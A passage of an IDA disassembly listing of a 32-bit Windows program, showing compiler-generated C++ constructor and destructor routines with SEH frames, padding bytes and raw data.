		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416820	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41683B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41683B:				; CODE XREF: sub_416820+11j
		retn
sub_416820	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416870	proc near		; CODE XREF: sub_402040j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41688B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41688B:				; CODE XREF: sub_416870+11j
		retn
sub_416870	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168C0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4168DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4168DB:				; CODE XREF: sub_4168C0+11j
		retn
sub_4168C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db '░░░░░░░░░░░░░░░ллллллллллллллллХ',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447158B9h
		dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 447158B9h, 0B2CAE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416990:				; CODE XREF: ___:00401C44j
		push	0FFFFFFFFh
		push	offset loc_439FE1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021DA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401EE2
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_40176C
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_401FF5
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401DED
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_40187A
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F28
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B27
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017D0
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018CA
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401EB0
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402216
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017A3
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A23
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C0
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401E83
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014F1
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AE6
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401C8F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401929
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_40143D
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C00	proc near		; CODE XREF: sub_401A23j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43E050
		test	eax, eax
		jle	short loc_416C17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416C17:				; CODE XREF: sub_416C00+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C30	proc near		; CODE XREF: ___:0040126Cj sub_4019BFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A23
		test	[esp+4+arg_0], 1
		jz	short loc_416C48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416C48:				; CODE XREF: sub_416C30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416C30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C60	proc near		; CODE XREF: sub_4017A3j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43E05C
		test	eax, eax
		jle	short loc_416C77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416C77:				; CODE XREF: sub_416C60+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416C90:				; CODE XREF: ___:00401627j
					; ___:loc_401C99j
		push	esi
		mov	esi, ecx
		call	sub_4017A3
		test	byte ptr [esp+8], 1
		jz	short loc_416CA8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CA8:				; CODE XREF: ___:00416C9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CC0	proc near		; CODE XREF: sub_40176Cj
		mov	dword ptr [ecx], offset	off_43E068
		jmp	sub_402031
sub_416CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416CE0:				; CODE XREF: ___:loc_40191Aj
					; ___:0040218Aj
		push	esi
		mov	esi, ecx
		call	sub_40176C
		test	byte ptr [esp+8], 1
		jz	short loc_416CF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CF8:				; CODE XREF: ___:00416CEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43E074
		add	ecx, 4
		jmp	sub_401023
sub_416D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D30:				; CODE XREF: ___:00401E42j
		push	0FFFFFFFFh
		push	offset loc_43A1C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_40209F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015DC
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_401FFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_4019F1
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_40157D
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_401645
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401776
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_401695
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_401820
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016B3
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_401415
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D11
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A7D
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CA3
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402103
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_401573
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_40178F
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_401424
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_401424
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_401424
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_401424
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416FB0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416FB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B09
sub_416FB0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417020	proc near		; CODE XREF: sub_401929j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40206D
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40206D
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40206D
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40206D
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40206D
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AD2
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AD2
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AD2
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AD2
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AD2
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AD2
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AD2
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AD2
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AD2
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AD2
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AD2
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AD2
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AD2
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AD2
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AD2
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AD2
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AD2
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AD2
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AD2
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AD2
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AD2
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AD2
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AD2
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AD2
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AD2
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AD2
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AD2
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AD2
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AD2
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AD2
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AD2
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AD2
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417540	proc near		; CODE XREF: sub_4014F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417540	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175E0	proc near		; CODE XREF: sub_401E83j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: sub_402216j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417770	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417830	proc near		; CODE XREF: sub_401EB0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417830
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417830	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178F0	proc near		; CODE XREF: sub_4018CAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417960	proc near		; CODE XREF: sub_4017D0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_401B27j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A40	proc near		; CODE XREF: sub_401F28j
		add	ecx, 4
		jmp	sub_401023
sub_417A40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



